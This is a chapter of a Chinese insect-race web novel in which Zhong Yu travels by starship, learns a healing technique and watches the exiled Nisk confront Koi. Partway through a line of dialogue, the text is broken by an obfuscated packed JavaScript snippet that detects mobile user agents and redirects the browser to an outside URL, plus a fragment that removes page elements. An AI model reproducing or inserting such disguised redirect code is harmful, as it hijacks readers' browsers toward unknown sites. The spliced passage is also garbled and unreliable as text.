又连着看了几个雌虫的主页,钟鱼就兴致缺缺地退到了视频界面。 清朗的声音再次响起。 “像我这种疗愈系异能,使用的时候一定不要太着急,也不要消耗太过,不然会有损异能的后续使用。我以前彻底消耗过一次,异能差点就消失了,休息了好几个月才能继续使用。” 竟然还会这样?好在他只有那一次过度使用。 “我发现服用清淡的营养剂搭配甜品能更好的恢复异能,所以我用异能给雌虫疗愈那几天都会选择小麦味营养剂和几种清淡的糕。像三区的那家甜品店就很不错,他们家有专门的清淡系列甜品。不过我说了之后可能会涨价。” “我最近一直有在使用精神力,疗愈的时候可以放出少量信息素,这样疗愈效率会好很多,不过雌虫不能处于发情期和二次分化没多久,不然雌虫可能无法控制自己,从而被迫进行深入义务服务。” 这一条钟鱼暂时用不着,901虽然隐藏了他的精神力波动,但是信息素完全隐藏不了。 视频中的雄虫言笑晏晏,五官柔和,看着便只觉如沐春风。 图伽有一头金黄色的短发,少许遮在前额,他的瞳孔非常浅淡,按道理这样的瞳色会减弱情绪,因而显得冷淡。 可图伽阁下不会让人这样觉得。 主页中的十来个视频中,他总是挂着笑脸,语气温和,浅灰色的眼睛温柔地注视着摄像头,仿佛是在跟他面对面聊天。 “至于大家一直说的晋升,我这些年试了很多次,还是找不到原因,我也不知道之前是如何晋升到s级的了。” “好像一觉醒来就变成s级了,然后其他雌虫感知到了s级雄虫的精神力波动,过了几个月才觉醒异能。” 这一点钟鱼倒是跟他有些像,只是他的异能是几天后觉醒的,没有等那么久。 钟鱼照着图伽的精神力教学视频跟着操作了一下,果然效果显著。 他使用精神力全凭本能,看了图伽的视频才知道之前浪费了不少精神力,难怪用一点点就累得不行。 钟鱼本以为会一路不停直达中央星,没成想星舰在半路停了下来。 他透过窗户去看,眼下是熟悉的荒芜场景。 ——这是垃圾星。 18.第 18 章 怎么在垃圾星停了? 正疑惑间,钟鱼听到了外边的喧闹声,他推开房门走到过道的窗户旁。 “这是什么?” “怎么回事?” “怎么又到这个鬼地方了?” 休斯跑了过来,向他们解释道:“我们星舰的航线被修改了,希尔中尉正在查。” 所以说本来是走官道直达中央星的,结果拐了个弯到垃圾星了? 还没查出来怎么一回事,耳边就响起一声惊呼! “你们快看,那儿有一架飞舰!” 钟鱼顺着视线看,果然星舰的侧方停了一个小型飞舰,看制式有些眼熟,像是垃圾星的。 舒勒一直有悄悄看钟鱼,留意到他的情绪异常,便凑过去小声询问:“布莱斯,你怎么了?” “这是垃……B612的飞舰。” “真的?没想到这地方竟然还有这玩意儿,看来也没有星网上说的那么差劲嘛!” 舒勒第一次分化时基因等级下跌至d级,差点半虫化,因而他对大名鼎鼎的“半虫化聚集地”B600星系很是避讳。 而B612又是B600星系中最有名的一个星球,因为这颗星球曾流放过一些帝国知名的虫族。 也是,连帝国如今的元帅都曾在这儿戴罪住过几年呢!更遑论近几年才被流放到B612的s级雌虫尼斯克·布莱尔了。 布莱尔这个姓氏可是中央星与军部皇室并肩的大家族,连布莱尔家族的天骄雌虫都被流放到了B612,更是让这个星球闻名整个星际了。 想到这里,舒勒说了一句,“也不知道尼斯克怎么样了?” 话音刚落,四周顿时静默。 修斯显然也听到了这话,不过他只是目光悠远地看向窗外,一言不发。 亚索答道:“他肯定是能回到赫利俄斯的,还用不着我们操心。” 尼斯克这么有名吗?怎么他们好像都知道他。 其他雌虫纷纷附和。 “是啊,他回去迟早的事儿,毕竟是s级雌虫嘛!” “他那么厉害,布莱尔家主不会放弃他的,要不是牵扯到修尔阁下,尼斯克最多降职,哪还会被流放到这鬼地方。” “是啊是啊……” 听到这里,钟鱼眉头微蹙,问道:“怎么你们都知道尼斯克?他很有名吗?” “那当然了,他可是尼斯克·布莱尔,别说帝国了,就是在整个星际谁不知道他?!” 这……这不应该啊。 “那我怎么没有在星网上查到他?”尼斯克送他光脑时,钟鱼就查过尼斯克,但星网上什么也没有。 舒勒趴在钟鱼肩膀上悄声解释道:“尼斯克三年前失控虫化,杀了不少虫,其中还包括了修尔·维斯阁下。” 钟鱼正要再问,就见克伊和希尔并肩走了过来,这群军雌你看我我看你,都默契地不再讨论尼斯克。 “千万不要在克伊少尉面前提起尼斯克——” 说完这话舒勒就退到了一边,徒留钟鱼站在窗边沉思。 难不成克伊跟尼斯克有仇? 维斯?帝国如今的虫帝就叫赫莱·维斯,修尔是皇室中人? 想到这里,钟鱼就让901查了一下。 901就是这点好,他抽不出空来的时候可以让它去查,当然,它也只能在星网上查:) [宿主,901查到虫帝赫莱·维斯最小的弟弟就叫修尔·维斯。] 看来他猜得没错。 现在的虫帝还很年轻,不会有这么大的孩子。 难怪尼斯克明明能用异能回到中央星却只能待在垃圾星了,杀了皇室中人便是明面上也该有重罚。 这样看来,尼斯克应当是家世显赫,不然也不会只是流放垃圾星了。 垃圾星虽然落后贫穷,但是比那种没有自由还要服劳役的监狱星球要好太多了。 说曹操曹操到,克伊刚走到钟鱼身边,外边的那艘飞舰就闪了过来,几乎与星舰紧贴。 透过透明的窗户,露出了飞舰驾驶座旁边的雌虫的面容。 ——竟然是尼斯克。 钟鱼下意识地想要逃跑,他很快克制住了自己。 [宿主,你现在的的样子跟以前一点儿都不像了,尼斯克绝对认不出来的!] ‘可我没改名字,当时也没想到还会遇见他。’ [经过901查验,帝国叫布莱斯的雌虫和亚雌有好几万呢!] 是啊,天下同名的人何其多,他何必去纠结这个呢? 尼斯克的飞舰这样紧贴着飞行也不是办法,最终元帅下令让星舰停在了地面。 见此,尼斯克那艘飞舰也跟着停在了旁边。 没等开门,尼斯克就站在了星舰门口的位置,他一直按着门边的响铃,还抽空歪头朝钟鱼笑了一下。 钟鱼心头一惊。 不可能吧?难道尼斯克这样都能认出他来?难不成他现在这般是为了揪他回去的?! [这不可能的,宿主,我的隐藏权限高于这个世界的科技,他们绝对查不出来的。再说尼斯克的异能只是跟距离有关,并不是心理方面的异能。] 钟鱼让自己放松下来,他礼貌地朝窗外的尼斯克露出一个标准的微笑。 正在希尔他们踌躇不决之际,佩斯传了一条通讯过来。 “希尔,元帅吩咐:将门打开,让他进来。” 突然,钟鱼感觉到后方有一阵热风吹过他的后耳,钟鱼偏头一看,原来是克伊。 眼下的克伊双目泛红,呼吸粗重。 他恨恨地盯着外边的尼斯克,听到那条讯息之后更是气得锤了下舱壁。 听到动静,希尔沉声道:“克伊,冷静!” 克伊握紧双拳,又连着锤了几下,头也不回地大步朝训练室走去。 过道两旁挤满了雌虫,却针落可闻。 很快,舱门被希尔打开,才开了一点点,尼斯克就侧身挤了进来。 还未站稳当,尼斯克就朝钟鱼眨了眨眼睛,“好漂亮的亚雌,又是克伊搜罗来的吧?” “你好,我叫尼斯克。” “你好。”见尼斯克仍一眼不眨地盯着他,钟鱼只得扯出一个笑容,装作若无其事地说道:“我叫布莱斯·伊斯特。” “布莱斯?”听到这个名字尼斯克浅棕色的眼睛眯了眯,“好名字,我喜欢。” 星舰的舱壁尽是纯白,在灯光下让他那一头浅粉色的头发格外炫目。 希尔皱了皱眉头,“尼斯克上校,请不要再提克伊,克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539959|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊听到了会生气。” “希尔少尉,哦不,现在已经是中尉了,难得你还记得我以前的职位,”尼斯克往过道里面走了几步,又回头看了希尔一眼,“我当然知道克伊会生气,都多少年了,克伊怎么还这样?他躲去哪儿了?” 希尔咬了咬牙,冷声道:“克伊不想看见你。” 尼斯克听到这话也不生气,反而挑衅一笑,“又去训练了?他没什么天赋,就是练到死也到不了s级。” 站在希尔身后的修斯都听不下去了,他大步上前想要带尼斯克去元帅的舱室。 刚走两步,过道那头就传来杂乱的脚步声。 ——是克伊,他从训练室跑了过来。 训练室离过道很近,再加上克伊格外留意尼斯克,方才那些话他肯定是听到了一些,这才跑了出来。 克伊将右手虫化,不管不顾地奋力朝尼斯克的心口抓去,尼斯克只是微微错身就避开了这致命一击。 舱壁被克伊那只灰色的巨大前肢抓出一道裂痕,整个车舱都被震得左右摇晃了一下。 刺耳的刮蹭声犹在耳畔,尼斯克不紧不慢的声音却再次响起。 他瞥了眼舱壁上的痕迹,掸了掸衣领上不存在的灰尘,“真是吓死我了,多年不见,克伊比之前厉害不少啊。” “我会杀了你的,你等着!”说这话时,克伊眼中含泪。 “我等着那一日呢,克伊·索菲克。” 说完,尼斯克就跟着修斯走了。 远远的,过道那处又传来了他的声音。 “在此之前,我得先回赫利俄斯哦,宝贝。” 钟鱼愣在原地久久没有回神。 方才那个说话这么欠揍的雌虫真的是尼斯克? 他从未见过尼斯克这样…… 尼斯克虽然有时候说话难听,可也不至于这样专戳人刀子。 看来尼斯克这次来是为了回中央星的事儿? 他逃走了,尼斯克没有筹码一时半会儿自然回不去,只是他找索伊尔元帅干什么,难道元帅能有办法让他回中央星? “布莱斯!布莱斯!” 肩膀被拍了一下,钟鱼这才回过神来。 原来是克伊现在情绪太过激动,右手虫化之后恢复不了原状了,希尔这才托钟鱼去训练室给克伊顺一顺精神领域。 没错,他这分神的功夫,克伊又回到训练室了。 钟鱼也顾不得满腹疑惑,径直朝一旁的训练室走去。 门才推开一条缝,钟鱼就听到里面传来毫不掩饰的哭嚎。 他细细看了一眼,里面只有一个趴在训练台上的雌虫,那应该就是克伊了。 走进去看到那只虫化的右手,钟鱼站在台下轻声说道:“克伊,希尔让我过来给你梳理一下精神领域。” 台上的雌虫吸了吸鼻子,抽噎着说道:“让希尔少管闲事!” 钟鱼叹了口气,“你现在精神领域确实有点乱,我还是给你梳理一下,不然过段时间严重了,疗愈起来很消耗我的异能的。” 听到这话克伊犹豫了一下还是坐了起来,盯着钟鱼的白皙俊秀的脸看了一会儿,他最终朝钟鱼挪了挪屁股。 “布莱斯,那麻烦你了,”说着,克伊又吸了吸鼻子,“布莱斯,你真好。”